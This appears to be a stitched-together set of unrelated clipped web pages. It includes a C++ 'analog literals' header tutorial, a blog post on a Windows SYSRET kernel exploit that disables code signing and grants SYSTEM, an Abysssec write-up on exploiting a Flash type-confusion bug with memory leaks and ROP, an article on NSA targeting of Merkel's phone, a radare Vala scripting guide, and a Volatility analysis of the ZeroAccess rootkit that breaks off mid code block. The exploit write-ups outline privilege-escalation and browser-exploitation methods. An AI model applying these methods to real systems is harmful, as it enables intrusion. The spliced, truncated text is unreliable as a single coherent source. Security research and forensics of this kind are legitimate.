This software has been released into the Public Domain

* * *
## Table of contents

  1. Tutorial
  2. Changelog
  3. Header `analogliterals.hpp`

* * *
## 1\. Tutorial

\(download as .cpp\)

// Note: The following is all standard-conforming C++, this is _not_ a
hypothetical language extension.

[code]

    #include "analogliterals.hpp"
    #include <cassert>
    
    int main ()
    {
      using namespace analog_literals::symbols;
    
[/code]

// Consider:

[code]

      unsigned int a = 4;
    
[/code]

// Have you ever felt that integer literals like "4" don't convey the true
size of the value they denote? If so, use an analog integer literal instead:

[code]

      unsigned int b = I---------I;
    
      assert( a == b );
    
[/code]

// Due to the way C++ operators work, we must use N\*2+1 dashes between the
`I`'s to get a value of N:

[code]

      assert( I-I == 0 );
      assert( I---I == 1 );
      assert( I-----I == 2 );
      assert( I-------I == 3 );
    
[/code]

// These one-dimensional analog literals are of type
`analog_literals::line<N>`, which is convertible to unsigned int.

// In some cases, two-dimensional analog literals are appropriate:

[code]

      unsigned int c = ( o-----o
                         |     !
                         !     !
                         !     !
                         o-----o ).area;
    
      assert( c == (I-----I) * (I-------I) );
    
      assert( ( o-----o
                |     !
                !     !
                !     !
                !     !
                o-----o ).area == ( o---------o
                                    |         !
                                    !         !
                                    o---------o ).area );
    
[/code]

// Two-dimensional analog literals are of type `analog_literals::rectangle<X,
Y>` which exposes static member constants `width`, `height`, and `area`.

/\* As an example use-case, imagine specifying window dimensions in a GUI
toolkit API using:

[code]

       window.dimensions = o-----------o
                           |           !
                           !           !
                           !           !
                           !           !
                           o-----------o ;
    
[/code]

Who said C++ was unintuitive\!? \*/

// But wait, there's more. We can use three-dimensional analog literals, too:

[code]

      assert( ( o-------------o
                |L             \
                | L             \
                |  L             \
                |   o-------------o
                |   !             !
                !   !             !
                o   |             !
                 L  |             !
                  L |             !
                   L|             !
                    o-------------o ).volume == ( o-------------o
                                                  |             !
                                                  !             !
                                                  !             !
                                                  o-------------o ).area * int(I-------------I) );
    
[/code]

// Three-dimensional analog literals are of type `analog_literals::cuboid<X,
Y, Z>` which exposes static member constants `width`, `height`, `depth`, and
`volume`. In addition, three free-standing functions `top`, `side`, and
`front` are provided which yield `rectangle`s:

[code]

      assert( top( o-------o
                   |L       \
                   | L       \
                   |  o-------o
                   |  !       !
                   !  !       !
                   o  |       !
                    L |       !
                     L|       !
                      o-------o ) == ( o-------o
                                       |       !
                                       !       !
                                       o-------o ) );
    
[/code]

// The current implementation has one restriction on cuboid dimensions: the
height of a cuboid literal must be at least its depth + 2.

// Note that storing these literals directly in a variable requires you to
specify the dimension sizes:

[code]

      analog_literals::rectangle<4, 2> r = o---------o
                                           |         !
                                           !         !
                                           o---------o;
    
[/code]

// This of course defeats the purpose of using the analog literal. C++0x's
proposed \`auto' feature would come in quite handy here. We can actually fix
this problem partially \(using the stack-ref-to-temporary's-base trick used by
Alexandrescu's ScopeGuard\), but we would no longer be able to use the values
in ICE's, and frankly I think this madness has gone far enough already.

[code]

    }
    
[/code]

* * *
## 2\. Changelog

  * 2006-05-24
    * got rid of the one-translation-unit restriction
    * even stricter checking of analog literal grammar
    * made all ints unsigned
    * minor documentation fixes
  * 2006-03-26
    * better standard compliance
    * slightly improved analog literal grammar
    * stricter checking of analog literal grammar
    * some bug fixes
    * overall cleanup
  * 2005-08-ish
Initial version

* * *
## 3\. Header `analogliterals.hpp`

\(download\)

[code]

    #ifndef ANALOGLITERALS_HPP
    #define ANALOGLITERALS_HPP
    
    namespace analog_literals {
    
    typedef unsigned int uint;
    
    // Symbols
    
      enum line_end { o, I };
      enum Lsymbol { L };
    
    // Intermediary types used during construction
    
      struct eLsymbol {};
      eLsymbol operator! (Lsymbol) { return eLsymbol(); }
    
      struct gen { template <typename T> operator T () const { return T(); } };
    
      template <typename T, uint n> struct excls { excls<T, n + 1> operator! () const { return gen(); } };
    
      template <typename T, uint n> struct dashes: excls<dashes<T, n>, 0>
      { dashes<T, n + 1> operator-- (int) const { return gen(); } };
    
      template <typename, uint> struct L_symbols {}; // represents a L|L|L|.. series
      template <typename T, uint n> L_symbols<T, n + 1> operator| (L_symbols<T, n>, Lsymbol) { return gen(); }
    
      template <typename, uint> struct eL_symbols {}; // represents a !L|!L|!L|.. series
      template <typename T, uint n> eL_symbols<T, n + 1> operator| (eL_symbols<T, n>, eLsymbol) { return gen(); }
    
      dashes<line_end, 1> operator-- (line_end, int) { return gen(); }
      excls<line_end, 1> operator! (line_end) { return gen(); }
    
    // Result types
    
      template <uint len> struct line: L_symbols<line<len>, 0>
      { static uint const length; operator uint () const { return len; } };
      template <uint x, uint y> struct rectangle { static uint const width, height, area; };
      template <uint x, uint y, uint z> struct cuboid { static uint const width, height, depth, volume; };
    
    // Static members
    
      template <uint len> uint const line<len>::length = len;
    
      template <uint x, uint y> uint const rectangle<x, y>::width = x;
      template <uint x, uint y> uint const rectangle<x, y>::height = y;
      template <uint x, uint y> uint const rectangle<x, y>::area = x * y;
    
      template <uint x, uint y, uint z> uint const cuboid<x, y, z>::width = x;
      template <uint x, uint y, uint z> uint const cuboid<x, y, z>::height = y;
      template <uint x, uint y, uint z> uint const cuboid<x, y, z>::depth = z;
      template <uint x, uint y, uint z> uint const cuboid<x, y, z>::volume = x * y * z;
    
      template <uint x, uint y, uint z> rectangle<x, y> front (cuboid<x, y, z>) { return gen(); }
      template <uint x, uint y, uint z> rectangle<z, y> side (cuboid<x, y, z>) { return gen(); }
      template <uint x, uint y, uint z> rectangle<x, z> top (cuboid<x, y, z>) { return gen(); }
    
    // Equality
    
      template <uint ax, uint bx> bool operator== (line<ax>, line<bx>) { return ax == bx; }
    
      template <uint ax, uint ay, uint bx, uint by> bool operator== (rectangle<ax, ay>, rectangle<bx, by>)
      { return ax == bx && ay == by; }
    
      template <uint ax, uint ay, uint az, uint bx, uint by, uint bz>
      bool operator== (cuboid<ax, ay, az>, cuboid<bx, by, bz>) { return ax == bx && ay == by && az == bz; }
    
    // Construction
    
      // line
    
      line<0> operator- (line_end, line_end) { return gen(); }
      template <uint x> line<x> operator- (dashes<line_end, x>, line_end) { return gen(); }
    
      // rectangle
    
      template <uint x, uint y> struct lower_rectangle {}; // with lower right corner
    
      template <uint excl_marks, uint x>
      lower_rectangle<x, (excl_marks + 1) / 2> operator- (excls<dashes<line_end, x>, excl_marks>, line_end)
      { return gen(); }
    
      template <uint x, uint y> rectangle<x, y> operator| (line<x>, lower_rectangle<x, y>) { return gen(); }
    
      // cuboid
    
      template <uint x, uint y, uint z> struct cuboid_top {};
      template <uint x, uint y, uint z> struct half_cuboid {};
        // dimensions of complete cuboid known, rest is for show
    
      template <uint x, uint n>
      cuboid_top<x, n + 1, n> operator| (L_symbols<line<x>, n>, line<x>) { return gen(); }
    
      template <uint x, uint y, uint z, uint n>
      eL_symbols<half_cuboid<x, y + (n + 1) / 3, z>, 0> // todo: assert: n%3=2
        operator| (cuboid_top<x, y, z>, excls<line_end, n>) { return gen(); }
    
      template <uint x, uint y, uint z>
      cuboid<x, y, z> operator| (eL_symbols<half_cuboid<x, y, z>, z>, lower_rectangle<x, 1>) { return gen(); }
    
    // Convenience namespaces that can be "using namespace"'d:
    
      namespace symbols
      {
        using analog_literals::o;
        using analog_literals::I;
        using analog_literals::L;
      }
    
      namespace shapes
      {
        using analog_literals::line;
        using analog_literals::rectangle;
        using analog_literals::cuboid;
      }
    
    } // analog_literals
    
    #endif // header guard
    
    #ifdef ANALOGLITERALS_TEST
    
    int main ()
    {
      using namespace analog_literals::symbols;
      using namespace analog_literals::shapes;
    
      line<3>(I-------I);
    
      rectangle<2, 3>(o-----o
                      |     !
                      !     !
                      !     !
                      o-----o);
    
      cuboid<6, 6, 3>(o-------------o
                      |L             \
                      | L             \
                      |  L             \
                      |   o-------------o
                      |   !             !
                      !   !             !
                      o   |             !
                       L  |             !
                        L |             !
                         L|             !
                          o-------------o );
    
      cuboid<3, 4, 2>(o-------o
                      |L       \
                      | L       \
                      |  o-------o
                      |  !       !
                      o  |       !
                       L |       !
                        L|       !
                         o-------o);
    }
    
    #endif // testing
    
[/code]

* * *
<img src='img/Temp2_5505.png' alt='Valid XHTML 1.1' />

<img src='img/Temp2_5506.png' width='24' height='24' />

# Windows Kernel Intel x64 SYSRET Vulnerability + Code Signing Bypass Bonus «
REP RET

**Created:**| _8/26/2012 8:27:01 PM_  
---|---  
**Updated:**| _8/26/2012 8:27:01 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit windows kernel_  
  

# Windows Kernel Intel x64 SYSRET Vulnerability + Code Signing Bypass Bonus

August 25, 2012

 _**UPDATE : I’ve just tested the exploit on Windows 2008 R2 SP1 x64, exploit
works like a charm without any modification.**_

Hi again,

This time I worked on Kernel-Land a little. Microsoft Windows Kernel Intel x64
SYSRET Vulnerability \(MS12-042\) was only exploited by VUPEN, apparently\!,
But no PoC or exploit publicly available. So I decided to work on this
challenge just for fun.At first glance, it was difficult to get Code-Execution
but after several times struggling with Windbg I finally succeeded on
triggering the bug and get code-execution.

By the way, Windbg had stupid bug on executing SWAPGS by single-stepping\! I
don’t really know why, but the guest VM always reboots\!  
  
I managed to get it to work with IDA Pro + GDB remote Debugging plugin after
all\!

So, anyway, here is the demonstration:

The shellcode disables Code Signing and will grant NT SYSTEM privilege to
specified Application or already running process \(PID\), After successfully
running exploit, I demonstrated installing an unsigned Driver \(which
Dbgprints “Microsoft eats it own dog food –
http://en.wikipedia.org/wiki/Eating\_your\_own\_dog\_food\) and granting NT
SYSTEM privilege to cmd.exe .

_**\*\*\* WARNING: This is only a proof-of-concept, Although its programmed to
be very reliable, But I won’t take any responsibility of any damage or abuse.
Sorry kids\!**_

Here are source codes.

# Exploiting Adobe Flash Player on Windows 7 | Abysssec Security Research
**Created:**| _4/21/2011 10:17:09 AM_  
---|---  
**Updated:**| _4/21/2011 10:17:09 AM_  
**Author:**| __  
**Tags:**| _Flash vulnerability JIT_  
  

## Exploiting Adobe Flash Player on Windows 7

Posted by shahin in advisory, Exploits / BUG Decryption, Fuzzing / Auditing, reversing | Tags :0day, CVE2010-3654, exploit, IE8, win7, windows7 | No Comments
Hello again . as a lot of readers like windows 7 exploits here is other one .

<img src='img/Temp2_2985.jpg' width='293' height='293' />

## 1\) Advisory information

**Title :****Adobe Flash player Action script type confusion****** **Version :
flash10h.dll** **Discovery : Malware writers** **Exploit : www.abysssec.com**
**Vendor :http://www.adobe.com** **Impact : Critical** **Contact : shahin
\[at\] abysssec.com , info \[at\] abysssec.com** **Twitter : @abysssec** **CVE
:****CVE-2010-3654******  
---  
## 2\) Vulnerable version

**Adobe Flash Player 10.1.53 .64****prior versions**  
---  
## 3\) Vulnerability information

Class  **1- Type Confusion** Impact**** **Successfully exploiting this issue
allows remote attackers to execute code under the context of targeted
browser.** Remotely Exploitable **Yes** Locally Exploitable**** **Yes**  
---  
## 4\) Vulnerability detail

Here we have type confusion vulnerability in ActionScript bytecode language.
The cause of these vulnerabilities is because of implementation of
verification process in AS3 jit engine that because of some miscalculation in
verifying datatype atoms, some data replaces another type of data and the
confusion results in faulty machine code.

Action script has the following structure. First our scripts are compiled
using an action script compiler like flex to AS3 ByteCodes and embed it to
DoABC, DoAction or DoInitAction tags in swf file format. When flash player
opens the swf file, bytecodes are compiled to a jitted machine code through
verification and generation process. Verification process is responsible for
checking bytecodes to be valid instructions and it pass the valid bytecodes to
generation process, thus generation process produces the machine code in
memory.

According to Dion Blazakis’s JIT Spray paper:

<img src='img/Temp2_2982.jpg' width='499' height='202' />

To handle this runtime typing requirement, the ActionScript interpreter
represents internal objects using tagged pointers – internal, this object is
called an “atom”. Tagged pointers are a common implementation technique to
differentiate between those objects stored by value and those stored by
reference using the same word sized memory cell. A tagged pointer stores type
information in the least significant bits and stores a type specific values in
the most significant bits. As shown in Illustration 1, the ActionScript atom
is 32 bits wide; it allocates 3 bits to store the type information and uses 29
bits for the value.

So if it would be possible to confuse verifier too act an atom as another atom
by some bytecode changes it would be possible to generate faulty code that
most of the times lead to disclosing a vtable pointer call to the attacker.

The bug is perfectly presented in Haifei li recent slides. We have
OriginalClass and RefClass with the same functions. Func1 – OriginalClass
return a class objects, but Func1 – RefClass returns another type. By changing
a byte in the bytecode we have confused AS3 to execute RefClass functions in
the main class. After that verifier confuses the return type of the function
with an OriginalClass object and generate faulty code with the vtable under
the control of the return value.

<img src='img/Temp2_2983.jpg' width='592' height='128' />

Exploitation:

For exploitation purpose on recent protections on windows 7 without any 3rd
party, it is possible to use the same bug many times to leak the imageBase
address and payload address. In our exploit we used three confusion to read
String Objects address and accordingly imagebase address.

<img src='img/Temp2_2984.jpg' width='291' height='297' />

Step1: read shellcode string object pointer by confusing it with uint and use
it to leak ImageBase.

Step2: leak address of the shellcode with the same pointer and NewNumber
trick.

Step3: send imageBase & shellcode address as parameters to the RopPayload
function, develop Rop payload string and again confuse the return value with
uint to read address of RopPayload string.

Step4: send address of the rop payload as parameters to the last confused
function that confuses string type with class object. And thus address of our
rop payload will be used as vtable in the fake class object.

Note: In using strings as a buffer for shellcode in action script, it is
important to use alphanumeric characters because the toString method converts
our ascii character set to uincode thus make our shellcode unusable.

## 5\) Conclusion

Finally we got the point that memory leakages are extremely useful in modern
exploitation to bypass DEP, ASLR protections. It would be possible to find
same atom confusion situation and other object leakage in adobe flash player.
Kudos to haifei li for his great research, although it was not that simple to
implement a reliable exploit with just slides without attending in talk.

## 6\) Refrences

http://www.cansecwest.com/csw11/Flash\_ActionScript.ppt

http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf

## 7\) Exploit-Code

Here you can get our reliable exploit against windows 7 :

calc.exe payload

Download : CVE-2010-3654\_Win7

<img src='img/Temp2_2981.jpg' width='300' height='300' />

if you need other payloads for sure you know how to change it ;\)

as always feedbacks are welcomed and you can follow @abysssec in twitter to
getting updates .

Happy Hunting \!

# Top Level Telecommunications: How NSA targeted chancellor Merkel's mobile
phone

**Created:**| _11/1/2013 9:01:39 AM_  
---|---  
**Updated:**| _11/1/2013 9:01:39 AM_  
**Author:**| __  
**Tags:**| _intelligence opinion_  
  

# **H** ow NSA targeted chancellor Merkel's mobile phone****

  
Last week, the German weekly Der Spiegel revealed that NSA intercepted the
mobile phone of the German chancellor Angela Merkel**.** Although most details
were not known yet, the fact itself caused a severe crisis in the relationship
between the United States and Germany**.**  
  
Meanwhile, the original NSA targeting record containing chancellor Merkel's
phone number has been published**.** One of the entries refers to a document
about the NSA's SYNAPSE data model, which was disclosed earlier and provides
us with a context for the targeting record**.** Finally, an impression of how
the interception could have been conducted is given by a picture of the SCS
interception equipment, which is presumably located in the US embassy in
Berlin**.**  
  
The NSA targeting record  
  
The NSA document mentioning Merkel's phone number was published in the print
editions of several German newspapers, but the tabloid paper BILD  made a scan
for their website:

<img src='img/Temp2_8417.jpg' />

Acoording to Der Spiegel, this document apparently comes from an NSA database
in which the agency records its targets**.** This could be a database
codenamed OCTAVE, which is used for tasking telephony targets**.** This record
has the following entries:  
  
\- **SelectorType** : a selector is the intelligence term for a name or a
number that identifies an espionage target**.** This line says the type of the
selector is PUBLIC DIRECTORY NUM\[ber\]  
  
\- **SynapseSelectorTypeID** : this designator, SYN\_0044, refers to the
SYNAPSE Data Model \(see below\)**.**  
  
\- **SelectorValue** : here's the actual phone number of Merkel**.** In the
print edition of the magazine we can see this phone number written as
+49173-XXXXXXX**.** The country code for Germany \(+49\) is followed by the
prefix code for mobile phone numbers from Vodafone \(0173\)**.** According to
Der Spiegel this is the number of Merkel's cell phone which was provided by
her political party and which is the one she uses most to communicate with
party members, ministers and confidants, often by text message**.** It's is
just an ordinary cell phone without any security features, and therefore an
easy target for intelligence agencies like NSA**.** It means that her official
secure mobile phone  wasn't targeted nor compromised**.**  
  
\- **Realm** : according to Der Spiegel, this field determines the format**.**  
  
\- **RealmName** : the name of the format, in this case 'rawPhoneNumber'  
  
\- **Subscriber** : GE CHANCELLOR MERKEL**.** As Angela Merkel wasn't yet
chancellor when the surveillance started in 2002, either this entry or the
whole record must have been updated after she became chancellor in November
2005**.**  
  
\- **Ropi** : stands for Responsible Office of Primary Interest, an NSA unit
that selects which targets should be monitored**.** In this case it's S2C32,
the European branch of the so-called Product Line for International Security
Issues**.**  
  
\- **NSRL** : stands for National SIGINT Requirements List, which is  a daily
updated compendium of the tasks, and the priority of those tasks, given to the
various Signals Intelligence collection units around the world**.** 2002-388\*
indicates that this target was set in 2002, when Angela Merkel was head of the
Christian democratic party CDU**.** Then Bundeskanzler Gerhard Schröder
refused to join the US in the war against Iraq, so the US government could
have been interested in knowing the position of his main political
opponent**.**  
  
\- **Status** : A, which stands for Active**.** Der Spiegel says this status
was valid a few weeks before President Obama’s Berlin visit in June 2013**.**  
  
\- **Topi** : stands for Target Office of Primary Interest**.** According to
an NSA document , TOPIs are part of the Analysis & Production division, but
Der Spiegel says these are units which are doing the actual interception**.**
In this case, the TOPI is designated F666E, where F6 stands for the joint
NSA/CIA Special Collection Service  \(SCS\), which performs eavesdropping
actions from inside US embassies in foreign capitals**.** 66E might then be
\(a part of\) the SCS unit based in the US embassy in Berlin**.**  
  
\- **Zip** : this Zip code, 166E, is a distribution code for the OCTAVE
tasking database \(see below\)**.**  
  
\- **Country Name** : left blank, apparently the country code below was
sufficient**.**  
  
\- **CountryCode** : which is GE for Germany  
  
  
An interesting question is how Edward Snowden obtained this database
record**.** Is it part of an NSA document for internal education or
presentation purposes, or did he made a copy from the database itself**?** And
if so, are there \(many\) more of these tasking records in his collection**?**  
  
A targeting record like this marks the starting point of NSA's collection
process**.** Because of that we know nothing about the follow up, except for
the involvement of SCS unit F666E**.** Therefore, we have no indication about
what form of surveillance has taken place: were only metadata gathered or also
conversations recorded and text messages stored**?** And was this
continuously, or \(given the presumably small number of German linguists\)
only when there was a more specific need for information **?**  
  
The SYNAPSE data model  
  
As we have seen, the second entry of the targeting record refers to SYNAPSE,
which is some kind of data model used by NSA to analyze connections of foreign
intelligence targets**.** A slide from a powerpoint presentation about this
model was published by the New York Times  on September 29, 2013**.** Note
that the title has a huge spelling error as it reads SYANPSE instead of
SYNAPSE:

<img src='img/Temp2_8419.jpg' />

  
SYNAPSE slide as published in the print edition of the NY Times  
\(scan by Cryptome  \- click for a bigger version\)

The slide shows a rather complex diagram of all elements involved in examining
the communications of a target**.** We will go through this diagram from top
to bottom:  
  
First we see a target, like a person or an organization, mentioned as
"agent"**.** These agents are designated by a name and identified by a NIC,
which could stand for something like National Identification Card**.** 'Paki'
could be a database for these ID numbers**.** The agents \(targets\)
themselves are registered in TKB, which stands for Target Knowledge Base**.**  
  
Agents use various devices, identified by designators like an e-mail or an IP
address, a phone number or an IMEI , IMSI , IMN, RHIN or FHIN number \(not
clear what the last three stand for\)**.** The designations of these devices
and the connections between them are collected in MAINWAY, which is NSA's main
database for bulk telephone metadata**.**  
  
The designators of the devices used by an agent/target get a 'Subscriber ID'
for the OCTAVE database and are listed in the OCTAVE Tasked List**.** They
also get a 'ShareableName' for the Unified Targeting Tool  \(UTT\) to be
listed in the UTT Active List**.** The designators are also labeled with UTT
categories and OCTAVE Zip Codes**.**  
  
Bottom right we see the Responsible Office of Primary Interest \(ROPI\) which
somehow seems to manage the designators, maybe because these are the offices
where Tasking takes place, which means selecting the targets to be
monitored**.** Device designators \(like phone numbers\) of which the
communications have to be collected are called Selectors**.**  
  
Finally, the designators are referenced in the SIGINT Product Reports \(blue
dot\) and the Intelligence Community \(IC\) Product Reports \(red dot\) which
are released by the various Target Offices of Primary Interest \(TOPI\)**.**
LEXHOUND could be a database for these reports**.**  
  
As the diagram shows pictures of a personal computer, but OCTAVE and MAINWAY
are for telephony data, it seems the whole process is meant for both internet
and telephony data**.**  
  
The SCS interception equipment  
  
Except for the targeting record, there is no information about how exactly NSA
intercepted Merkel's phone, but there are some strong indications**.** In
Berlin, Vodafone mostly uses microwave transmissions on its mobile network and
these can be intercepted without much effort**.**  
  
To show how this could have taken place, Der Spiegel published a slide from a
presentation of the Special Collection Service \(SCS\) showing pictures of an
SCS antenna system codenamed EINSTEIN and its corresponding control device
codenamed CASTANET**.** This unit can apparently intercept cell phone signals
while simultaneously locating people of interest**.**

<img src='img/Temp2_8420.jpg' />

In Berlin, the SCS unit operates from inside the US embassy , which is in a
building next to the famous Brandenburger Tor**.** It was opened on July 4,
2008 - in the presence of chancellor Merkel**.** Before, the US embassy was in
a 19th century building  in the Neustädtischen Kirchstraße**.** The spying
equipment of the SCS unit is likely to be on the roof of the building, in a
structure with conceiled windows:

<img src='img/Temp2_8416.jpg' />

  
\(photo: Christian Thiel/Der Spiegel\)

According to investigative journalist Duncan Campbell , who revealed the
existence of the ECHELON system, these windows are covered by special
dielectric  \(insulating\) panels, that allow radio waves to pass through and
be intercepted, while blocking visible light and concealing the interception
equipment behind it**.**  
  
This equipment usually consists of antenna, dishes or arrays which can collect
every type of wireless communications on all available wavelengths**.** On the
opposite side of the embassy's rooftop stucture there's a similar conceiled
window right at the corner**.** With these corner windows on both sides, SCS
can catch signals from all directions:

<img src='img/Temp2_8418.jpg' />

  
\(photo through Dailyphotostream.blogspot.com\)

On German television, the US embassador to Germany said that on the embassy's
roof there's rather ordinary communications equipment, to stay in touch with
Washington and other US embassies around the world**.**  
  
Because the targeting record clearly mentions unit F666E, it's most likely
that chancellor Merkel's cell phone was intercepted by SCS from inside the US
embassy**.** But as her phone uses the Vodafone network, it's also possible
that NSA has some kind of backdoor access to this cellular network**.**
Vodafone is a British company and at least NSA's British counterpart GCHQ has
an arrangement  with this company for tapping undersea fiber optic cables**.**  
  
  
The phone number of Angela Merkel was finally removed from the NSA's target
list this Summer**.** According to the Wall Street Journal  there was an
internal government review which turned up that the agency was monitoring some
35 world leaders**.** After learning this, the White House ordered to cut of
some of these programs, including the one tracking the German chancellor and
some other world leaders**.**  
  
**Links and Sources**  
\- NYTimes.com: Tap on Merkel Provides Peek at Vast Spy Net  
\- DuncanCampbell.org: How embassy eavesdropping works  
\- TheWeek.com:  Did the NSA mislead the President and Congress about foreign
leader spying**?**  
\- FAZ.net: Es war Merkels Parteihandy  
\- Spiegel**.** de: How NSA Spied on Merkel Cell Phone from Berlin Embassy  
  
****

# radare Scripting r2 using Vala

**Created:**| _2/7/2011 12:04:57 PM_  
---|---  
**Updated:**| _2/7/2011 12:06:02 PM_  
**Author:**| __  
**Tags:**| _reversing ToWatch interop_  
  
Scripting r2 using Vala

* * *  
---  
<img src='img/Temp2_10593.png' />  
go back |  | Under some situations you need to automatize or extend the features of radare. There are so many scripting languages out there: python, ruby, perl, lua between others.   
  
All of them are supported by the radare package and you can use them from
inside r2 using r\_lang plugins and the '\#\!' command or externally with the
r2-swig.  
  
The main issue on scripting languages is performance. The code is interpreted
and all the api bindings are wrapped, so linked list accesses and function
calls are highly penalized.  
  
Here's where Vala joins the party.  
  
Vala compiles into C and generates native code with no wrappers, but providing
a higher-level interface than C, so it is harder to segfault.  
  
Let's see how to run scripts for r\_lang in the r2 prompt:  
  

[code]

    [0x8048520]> #!
     vala: VALA language extension
    
    
[/code]

  
The '\#\!' \(hashbang\) command is used to invoke the r\_lang REPL prompt or
run the code of the given file.  
  
The command has reported that it our build of r2 has built-in support for
running Vala code from the core. So let's try it using the read-eval-print-
loop mode.  
  

[code]

    [0x8048520]> #!vala
    vala> print ("%p\n", core)
    0x804b2c0
    
    
[/code]

  
This is what it's happening after each newline in the prompt:

  * wraps line with: 'using Radare; public static void entry\(RCore core\) \{\}
  * compiles temporary .vala file into a shared library against r\_core library
  * loads the library and resolves the symbol named 'entry'
  * calls the entry point with the RCore instance as argument
  * unloads the library and removes temporary files

  
You can also write the vala code in a separated file named 'foo.vala':  
  

[code]

    [0x80498d2]> !cat foo.vala 
    using Radare;
    
    public static void entry(RCore core) {
            core.cmd0 ("pd 2");
            core.cons.flush ();
    }
    
    
[/code]

  
  
Execute this file with '\#\!vala foo\[.vala\]':  
  

[code]

    [0x80498d2]> #!vala foo
      0x080498d2        5e  pop esi
      0x080498d3      89e1  mov ecx, esp
    
    
[/code]

  
For more documentation on bindings see the vapi documentation.  
  

# Wireshark MindMap

**Created:**| _1/5/2010 6:12:42 PM_  
---|---  
**Updated:**| _1/5/2010 6:13:03 PM_  
**Author:**| __  
**Tags:**| _packet-analysis network-security_  
  
<img src='img/Temp2_9942' />

# scanning\_windows\_deeper\_with\_the\_nmap\_scanning\_engine\_33138
\(application/pdf-Objekt\)

**Created:**| _7/6/2009 7:42:13 PM_  
---|---  
**Updated:**| _7/6/2009 7:42:20 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# MNIN Security Blog: ZeroAccess, Volatility, and Kernel Timers

**Created:**| _10/21/2011 7:18:40 AM_  
---|---  
**Updated:**| _10/21/2011 7:18:40 AM_  
**Author:**| __  
**Tags:**| _Memory forensics Malware-analysis_  
  

### ZeroAccess, Volatility, and Kernel Timers

As today is Volatility Friday, we'll discuss how to hunt ZeroAccess in memory
by following the lead of several others and then writing our own custom
plugin. I first want to recognize the work done on this topic by Frank
Boldewin, Giuseppe Bonfa, and Marco Giuliani. They are the ones doing the
reverse engineering here - I am just translating their findings and showing
how to do things "the Volatility way."  
  
The First Sample: e6823f932c2b40d2025d78bb78d64458  
  
This is the same sample Frank used in his analysis \(see link above\) so you
will want to read that post first. Frank's course of actions to find
ZeroAccess were:  
  
1\) Find the DEVICE\_OBJECT that starts with ACPI\#PNP\[...\]  
2\) Find the DRIVER\_OBJECT to which the device belongs \(note the driver is
unnamed\)  
3\) Take the DriverStart and DriverSize members of the DRIVER\_OBJECT to dump
the rootkit's kernel code  
4\) Search for threads executing in the same space as the rootkit's kernel
code  
5\) Find the process with a fake usermode ADS name \(i.e. a colon ':' in the
name\)  
6\) Dump the malicious process  
  
Okay so let's get to work with Volatility\! We'll follow nearly the same order
of operations that Frank used, however to start instead of looking in the
\global?? directory for the DEVICE\_OBJECT, we'll just use the devicetree
plugin.  

[code]

    $ python vol.py -f zeroaccess1.vmem devicetree  
    Volatile Systems Volatility Framework 2.1_alpha  
    DRV 0x022dba18 '\\Driver\\NetBT'  
    ---| DEV 0x81dc7d30 NetBT_Tcpip_{9B5A1EAD-7852-455F-9740-5E1FCD05D812} FILE_DEVICE_NETWORK  
    ---| DEV 0x82251ca0 NetBt_Wins_Export FILE_DEVICE_NETWORK  
    ---| DEV 0x81eb3030 NetbiosSmb FILE_DEVICE_NETWORK  
    DRV 0x022e1c08 '\\FileSystem\\MRxDAV'  
    ---| DEV 0x81caca58 WebDavRedirector FILE_DEVICE_NETWORK_FILE_SYSTEM  
    DRV 0x022e3880  
    ---| DEV 0x81f3ee48 ACPI#PNP0303#2&da1a3ff&0 FILE_DEVICE_UNKNOWN  
    DRV 0x022f9f38 '\\Driver\\intelppm'  
    ---| DEV 0x81c8cdd8 (unnamed) FILE_DEVICE_UNKNOWN
[/code]

There's a unnamed DRIVER\_OBJECT at physical offset 0x022e3880 that has a
DEVICE\_OBJECT at virtual address 0x81f3ee48 with name ACPI\#PNP\[...\]. That
seems to correlate with Frank's findings, so it feels like we're on the right
track. The next thing I want to do is figure out the DriverStart and
DriverSize of the DRIVER\_OBJECT. One could easily modify the devicetree
plugin to print this information \(we'll show how to do it programatically in
a minute\) but for the time being I'll just use volshell. The values displayed
will be in decimal.  

[code]

    $ python vol.py -f zeroaccess1.vmem volshell  
    Volatile Systems Volatility Framework 2.1_alpha  
    Current context: process System, pid=4, ppid=0 DTB=0x319000  
    To get help, type 'hh()'  
      
    In [1]: dt("_DEVICE_OBJECT", 0x81f3ee48)  
    [CType _DEVICE_OBJECT] @ 0x81F3EE48  
    0x0   : Type                           3  
    0x2   : Size                           184  
    0x4   : ReferenceCount                 3  
    0x8   : DriverObject                   2181970048  
      
    In [2]: dt("_DRIVER_OBJECT", 2181970048)  
    [CType _DRIVER_OBJECT] @ 0x820E3880  
    0x0   : Type                           4  
    0x2   : Size                           168  
    0x4   : DeviceObject                   2180247112  
    0x8   : Flags                          18  
    0xc   : DriverStart                    2987057152  
    0x10  : DriverSize                     126976  
    0x14  : DriverSection                  2180702128  
    0x18  : DriverExtension                2181970216  
      
    In [3]: hex(2987057152)  
    Out[3]: '0xb20ae000'  
      
    In [4]: hex(126976)  
    Out[4]: '0x1f000'  
      
    
[/code]

Now that we know the driver's kernel code exists at 0xb20ae000, we can dump it
with moddump.  

[code]

    $ python vol.py -f  zeroaccess1.vmem moddump -o 0xb20ae000 -D zeroaccess/  
    Volatile Systems Volatility Framework 2.1_alpha  
    Dumping Unknown, Base: b20ae000 output: driver.b20ae000.sys  
      
    $ strings zeroaccess/driver.b20ae000.sys  
    !This program cannot be run in DOS mode.  
    X6Rich  
    .text  
    `.rdata  
    @.data  
    .reloc  
      
    PVVV  
    Ul;Upw  
    !This program cannot be run in DOS mode.  
    Rich  
    .text  
      
    RSA1  
    A8C,  
    !This program cannot be run in DOS mode.  
    Rich  
    .text  
    PPPTh  
    ZwCreateFile  
    ZwTestAlert  
    ntdll.dll  
    ExitProcess  
    KERNEL32.dll  
    1234567890123456789012345678901234567890123456789012345678901234  
      
    CryptAcquireContextW  
    CryptImportKey  
    CryptCreateHash  
    CryptHashData  
    CryptVerifySignatureW  
    CryptDestroyHash  
    CryptReleaseContext  
    MD5Init  
    MD5Update  
      
    ntp2.usno.navy.mil  
    ntp.adc.am  
    tock.usask.ca  
    ntp.crifo.org  
    ntp1.arnes.si  
    ntp.ucsd.edu  
    ntp.duckcorp.org  
    wwv.nist.gov  
    clock.isc.org  
    
[/code]

Based on the "This program cannot\[...\]" strings, the driver has multiple
embedded PE files, so you can already begin to expect code injection or at
least a user mode presence. Hold that thought.  
  
The 4th step in Frank's analysis was to check for suspicious threads based on
their starting or current IP location. You can do this easily with the threads
plugin by filtering for orphan threads \(-F OrphanThread\).  

[code]

